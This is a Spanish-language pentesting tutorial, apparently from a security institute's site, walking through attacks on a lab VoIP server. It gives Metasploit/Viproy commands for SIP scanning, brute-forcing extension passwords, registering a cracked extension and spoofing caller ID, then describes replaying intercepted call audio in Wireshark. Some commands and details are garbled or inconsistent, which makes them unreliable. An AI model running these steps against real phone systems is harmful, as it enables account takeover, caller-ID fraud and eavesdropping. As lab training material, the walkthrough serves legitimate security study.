¿Cómo realizar pentesting de servidores VoIP? Tutorial paso por paso para hackear redes VoIP

La adopción de la tecnología de voz sobre protocolo IP (VoIP) cada vez es más amplia, permitiendo a las organizaciones comunicarse a distancias enormes y de forma muy fácil. No obstante, la mayoría de las organizaciones ignoran las potenciales fallas de seguridad asociadas al uso de esta tecnología. 

En esta ocasión, los especialistas en pentesting del Instituto Internacional de Seguridad Cibernética (IICS) le mostrarán diversos métodos para buscar información sobre dispositivos VoIP y prevenir múltiples ataques.

¿Qué es VoIP?

Antes de comenzar, cabe recordar más detalles sobre esta tecnología. Acorde a los expertos en pentesting, la implementación de VoIP permite realizar llamadas de audio utilizando una conexión a Internet en lugar de un teléfono convencional. Algunos socios de puerta de enlace VoIP pueden permitirle llamar a otras personas que tengan un número de teléfono, incluidos números locales, de larga distancia, móviles e internacionales.

VoIP utiliza 5060 como puerto de señalización SIP de forma predeterminada. Se utiliza para registrar el teléfono (por ejemplo, Cisco, Polycom, etc.)

Entre las funciones más importantes de VoIP se encuentran:

  • Uso de múltiples líneas
  • Servicio de correo de voz
  • Grabación de voz
  • Registro de llamadas
  • Configuraciones modulares

Protocolo SIP

Session Initiation Protocol (SIP) permite a los usuarios establecer comunicaciones, finalizar o modificar llamadas de voz o video. Acorde a los expertos en pentesting, el tráfico de voz o video se transmite mediante el protocolo en tiempo real (RTP). SIP es un protocolo de capa de aplicación que utiliza UDP o TCP para el tráfico. De forma predeterminada, SIP usa el puerto UDP/TCP 5060 para tráfico no cifrado o 5061 para tráfico cifrado TLS.

Como veremos más adelante, existen vectores de ataque Man-in-The-Middle (MiTM) para las implementaciones de VoIP. Acorde a los especialistas en pentesting, el protocolo de inicio de sesión se basa en ASCII y es muy similar al protocolo HTTP en que utiliza un modelo de solicitud/respuesta. Las solicitudes de un cliente SIP se realizan a través de SIP URI y AGI a través de un agente de usuario.

Respuestas SIP

Podemos entender las respuestas usando el código de respuesta. Las categorías generales de códigos de respuesta se muestran a continuación:

  • 1xx (de información)
  • 2xx (éxito)
  • 3xx (redirección)
  • 4xx (solicitudes fallidas)
  • 5xx (el servidor web no puede completar la solicitud)
  • 6xx (errores globales)

Estructura de interfuncionamiento SIP

Una estructura de interfuncionamiento SIP típica consta de lo siguientes elementos:

  • El remitente inicia una solicitud INVITE
  • El destinatario responde 100 (intenta llamar)
  • El remitente comienza a llamar enviando una respuesta 180 (Ring)
  • El receptor descuelga el teléfono y envía 200 respuestas exitosas (OK)
  • ACK enviado por el iniciador
  • La llamada comienza a usar RTP
  • Se envía una solicitud BYE para finalizar la llamada

Protocolo de Transporte en Tiempo Real (RTP)

Este es un protocolo de red para transmitir audio y video. RTP se utiliza en sistemas de comunicaciones y entretenimiento que contienen medios de transmisión por secuencias, como apps móviles y video o conferencias. El puerto RTP estándar es 16384 a 32767, estos puertos se utilizan para llamadas SIP. En este caso, los expertos en pentesting usan el rango de puertos UDP 10000-20000 para canales de video, voz y flujo de medios RTP.

Configuraciones empleadas en escenarios reales

  • Sistema operativo: Kali Linux 2020.1
  • Dirección IP: 192.168.1.4
  • Objetivo: Trixbox
  • Cliente VoIP:  Zoiper
  • Dirección IP del cliente: 192.168.1.7

Configuración del kit Viproy VoIP

Antes de comenzar el proceso de pentesting, debemos agregar el kit Viproy-VoIP a nuestro Metasploit. Necesitamos instalar algunas dependencias. Primero actualizaremos nuestras fuentes y luego instalaremos las siguientes dependencias:

sudo apt update && sudo apt install -y git autoconf build-essential libcap-dev libpq-dev zliblg-dev libsqlite3-dev

Una vez que se han instalado todas las dependencias, es hora de clonar el Repositorio de Viproy en el sistema Kali Linux. Este contiene los módulos que necesitamos agregar a nuestro Metasploit.

git clone https://github.com/fozavci/viproy-VoIPkit.git

Aquí vemos que tenemos un directorio lib y un directorio de módulos, así como un script kaliinstall. Antes de ejecutar el script, los expertos en pentesting recomiendan copiar manualmente el contenido del directorio lib y el directorio de módulos al directorio lib y módulos de Metasploit, respectivamente.

cp lib/msf/core/auxiliary/* /usr/share/metasploit-framework/lib/msf/core/auxiliary/
cp modules/auxiliary/VoIP/viproy-VoIPkit* /usr/share/metasploit-framework/modules/auxiliary/VoIP/
cp modules/auxiliary/spoof/cisco/viproy-VoIPkit_cdp.rb /usr/share/metasploit-framework/modules/auxiliary/spoof/cisco/

Ahora necesitamos registrar los módulos que copiamos en los archivos Mixins ubicados en /usr/share/Metasploit-framework/lib/msf/core/Additional/.

echo "require 'msf/core/auxiliary/sip'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/skinny'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/msrp'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb

Esto también se puede hacer manualmente o con otro editor de texto, mencionan los expertos en pentesting. A continuación, clonamos la versión precompilada de GitHub.

git clone https://github.com/fozavci/metasploit-framework-with-viproy-VoIPkit.git

Luego iremos al directorio e instalaremos viproy usando gem.

cd metasploit-framework-with-viproy/
gem install bundler
bundle install

Tomará un poco de tiempo. Después de eso, tendremos que volver a cargar los módulos en Metasploit.

reload_all

Esto completa la instalación de Viproy Toolkit, por lo que ahora podremos comenzar con el pentesting en nuestro servidor VoIP objetivo. En una red VoIP, la información útil puede encontrarse en gateways o servidores VoIP, sistemas IP-PBX, software de cliente/teléfonos VoIP y extensiones de usuario. Echemos un vistazo a algunas de las herramientas de conteo y toma de huellas digitales más utilizadas.

Reconocimiento del servidor SIP

Usando el módulo de escáner SIP Metasploit para identificar sistemas proporcionando una única IP o un rango de direcciones IP, los expertos en pentesting podrán escanear todos los servidores VoIP y sus parámetros habilitados.

use auxiliary/scanner/sip/options
set rhosts 192.168.1.0/24
run

Aquí podemos ver que el escaneo arroja un servidor VoIP que se ejecuta en 192.168.1.7. También podemos ver que tiene un User-Agent como “Asterisk” y podemos ver que tiene habilitadas múltiples solicitudes.

Ataque de fuerza bruta

Posteriormente es posible usar un ataque de fuerza bruta en el servidor objetivo para extraer sus contraseñas. En este ejemplo, los expertos en pentesting crearon un diccionario de nombres de usuario y uno de contraseñas. El siguiente paso es definir las extensiones, para lo que es posible seleccionar un rango de 0000000 a 99999999 y finalmente lanzar el exploit.

use auxiliary/voip/viproy_sip_bruteforce
set rhosts 192.168.1.7
set minext 00000000
set maxext 99999999
set user_file /home/kali/user.txt
set pass_file /home/kali/pass.txt
exploit

Aquí podemos ver que se han extraído 10 extensiones. Necesitaremos asegurarnos de que el secreto creado para esta extensión sea difícil de adivinar y así prevenir los ataques de fuerza bruta.

Trabajo adicional

Ahora es el momento de dar un paso más y registrar las extensiones para que podamos iniciar llamadas desde la computadora del atacante. Elegimos la extensión 99999999. Descubrimos el secreto del 999. Ahora todo lo que teníamos que hacer era proporcionar la dirección IP, la extensión y el secreto del servidor.

Tan pronto como iniciamos el dispositivo de asistencia, recibimos una respuesta 200 OK del servidor, que decía que la extensión estaba registrada con esta dirección IP.

use auxiliary/voip/viproy_sip_register
set rhosts 192.168.1.7
set username 99999999
set password 999
run

Aquí necesitamos registrar el software ya que no tenemos una línea troncal, línea PSTN o línea PRI para llamadas salientes. Por lo tanto, estamos probando la extensión para invocarla.

Falsificación de llamadas

Aquí podremos falsificar el identificador de llamadas a voluntad. Acorde a los expertos en pentesting, necesitamos definir el inicio de sesión como verdadero para que podamos iniciar sesión en el servidor con el secreto 999. También necesitamos establecer el usuario numérico en verdadero para que pueda aceptar extensiones numéricas.

use auxiliary/voip/viproy_sip_invite
set rhosts 192.168.1.7
set to 00000000
set from 99999999
set login true
set fromname hacker
set username 99999999
set password 999
set numeric users true
run

En cuanto lancemos el dispositivo auxiliar, veremos que hay una llamada desde la extensión 999999999 a la extensión 00000000, la cual configuramos en nuestro cliente Zoiper. También podemos ver que tenemos el identificador de llamadas del hacker que hemos identificado en el dispositivo de asistencia.

Monitoreo de registros

Podemos monitorear los registros en el servidor de VoIP, que contiene información sobre todas las llamadas que se iniciaron, conectaron y desconectaron. Acorde a los expertos en pentesting, podremos verificar las credenciales predeterminadas. Primero conectaremos el servidor usando ssh y luego ejecutaremos el siguiente comando para abrir el panel de la consola de Asterisk.

ssh 192.168.1.7
asterisk –rvvvvvvvvvvvvvvv

Rastrear llamadas con Wireshark

Cuando los usuarios inician una llamada telefónica, los hackers o investigadores podrían monitorear el tráfico SIP interceptado usando Wireshark. Para ello, inicie Wireshark y seleccione el adaptador de red en el que se está ejecutando el servidor VoIP, luego comenzamos a capturar paquetes. Si presta más atención, verá que hay una pestaña en el menú de Wireshark llamada “Telefonía”. El menú desplegable tiene la primera opción, Llamadas VoIP.

Tan pronto como hagamos clic en las llamadas VoIP, se abrirá una ventana con todas las llamadas interceptadas mientras escucha. Vemos que hay una secuencia de paquetes de una dirección IP a otra.

Si hacemos clic en el botón “Secuencia de flujo” a continuación, podemos ver los apretones de manos SIP que aprendimos en la introducción. Hay varias transacciones SIP en el flujo de llamadas SIP. Una transacción SIP consta de múltiples solicitudes y respuestas. Para agruparlos en una transacción, use el parámetro CSeq: 103.

El primero es registrar la extensión. Tras la renovación, el registro coincide con la configuración de la sesión. Desde la extensión 99999999, la sesión consiste en una solicitud INVITE del usuario a 00000000. Inmediatamente, el proxy envía TRYING 100 para detener la transmisión y redirigir la solicitud a la extensión 00000000.

La extensión 00000000 envía un timbre 180 cuando el teléfono comienza a sonar y también redirige el proxy al usuario A. Finalmente, un mensaje OK 200 sigue el proceso de recepción (la extensión 00000000 responde la llamada). Después de llamar al servidor de llamadas, intente asignar los puertos RTP y el transporte RTP comenzará con la configuración SDP (puertos, direcciones, códecs, etc.). La última transacción corresponde al final de la sesión. Esto solo se hace con una solicitud BYE al proxy y luego se redirige a la extensión 00000000.

El usuario dado responde con un mensaje OK 200 para confirmar que el último mensaje se recibió correctamente. La llamada fue iniciada por un usuario llamado hacker con la extensión 99999999 a la extensión 00000000. La duración de la llamada y el estado actual se pueden ver en el ejemplo anterior. Wireshark recopiló paquetes de llamadas y ahora podemos escuchar toda la llamada. Después de desconectar, reproducimos toda la conversión de la llamada telefónica.

Cuando presionamos el botón “Reproducir secuencias”, el dispositivo de salida se solicita de acuerdo con el controlador de su computadora portátil. Luego podemos hacer clic en el botón Reproducir y escuchar la conversación que ocurrió durante esta llamada VoIP.

Conclusiones

Implementar una red VoIP sin los controles de seguridad adecuados es un riesgo muy grande. Después de un proceso de pentesting exitoso, queda claro lo arriesgadas que pueden ser las configuraciones más populares en estos sistemas, por lo que los especialistas recomiendan a los administradores buscar asesoría para encontrar las mejores formas de implementar estos sistemas. Para conocer más sobre riesgos de seguridad informática, malware, vulnerabilidades y tecnologías de la información, no dude en ingresar al sitio web del Instituto Internacional de Seguridad Cibernética (IICS).